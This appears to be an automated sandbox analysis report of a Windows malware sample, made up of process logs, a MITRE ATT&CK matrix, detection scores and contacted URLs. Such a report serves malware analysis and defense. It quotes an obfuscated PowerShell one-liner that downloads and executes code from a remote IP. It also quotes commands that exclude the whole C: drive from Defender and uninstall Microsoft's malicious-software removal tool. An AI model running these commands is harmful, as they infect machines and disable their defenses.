Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\LB31.exe "C:\Users\user\AppData\Roaming\LB31.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://176.113.115.178/ff/1.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://176.113.115.178/ff/1.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x			Jump to behavior

Source: C:\Windows\System32\dialer.exe

Code function: 37_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

37_2_0000000140001B54

Source: C:\Windows\System32\dialer.exe

Code function: 37_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

37_2_0000000140001B54

Source: C:\Windows\System32\winlogon.exe

Code function: 43_2_000001F385BA36F0 cpuid

43_2_000001F385BA36F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Windows\System32\dialer.exe

Code function: 37_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

37_2_0000000140001B54

Source: C:\Windows\System32\winlogon.exe

Code function: 43_2_000001F385BC7960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

43_2_000001F385BC7960

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	1 Windows Management Instrumentation	111 Scripting	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Email Collection	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Windows Service	1 Access Token Manipulation	11 Obfuscated Files or Information	Security Account Manager	136 System Information Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	1 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Command and Scripting Interpreter	Login Hook	1 Windows Service	1 Software Packing	NTDS	551 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	Network Logon Script	712 Process Injection	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	21 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	2 PowerShell	RC Scripts	RC Scripts	4 Rootkit	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	712 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Files and Directories	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2.png.ps1	13%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\LB31.exe	100%	Joe Sandbox ML
C:\ProgramData\Mig\Mig.exe	100%	Joe Sandbox ML
C:\ProgramData\Mig\Mig.exe	63%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Roaming\LB31.exe	63%	ReversingLabs	Win32.Ransomware.Generic

Source	Detection	Scanner	Label
http://176.113.115.178/Windows-Update/2	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-UpdateH	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update(	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/http://176.113.115.178/Windows-Update/	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Updatekr	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/indowsINetCookiesX	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-UpdateE	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/M.png	100%	Avira URL Cloud	malware
http://176.113.115.178/FF/1.png	100%	Avira URL Cloud	malware
http://176.113.115.178/Windows-Update/	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/1.pngX	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-UpdateLMEM	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/la	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/$	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/X	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/B	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/V	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-UpdateWinsta0	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/xLMEMPx	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/...	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/C:	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/r	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/1.png$TC=$TC.replace(	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-UpdateGIB	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Updateai	0%	Avira URL Cloud	safe
http://www.protware.comm	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-UpdateData	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/t	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Updatemshta	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/CMD.png	100%	Avira URL Cloud	malware
http://176.113.115.178/Windows-Updatej	0%	Avira URL Cloud	safe
http://176.113.115.178	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-UpdatebjDdjedlfIhhCKHZRVAp.exe	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/a	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/h	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update;v	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://176.113.115.178/FF/1.png	true	Avira URL Cloud: malware	unknown
http://176.113.115.178/FF/M.png	true	Avira URL Cloud: malware	unknown
http://176.113.115.178/Windows-Update/	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/FF/CMD.png	true	Avira URL Cloud: malware	unknown
http://176.113.115.178/Windows-Update	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://176.113.115.178/Windows-Update/http://176.113.115.178/Windows-Update/	mshta.exe, 00000006.00000003.1454110960.000002071D243000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454360139.000002071D245000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.micom/pkiops/Docs/ry.htm0	powershell.exe, 0000000B.00000002.1567277562.0000019943173000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000B.00000002.1556383787.000001993AD65000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-UpdateH	wscript.exe, 00000003.00000002.1406708492.00000180CD059000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1405102980.00000180CD058000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471476987.000001FF1AF10000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-UpdateE	mshta.exe, 00000006.00000003.1446046858.000001FF1AFA1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471624974.000001FF1AFA4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
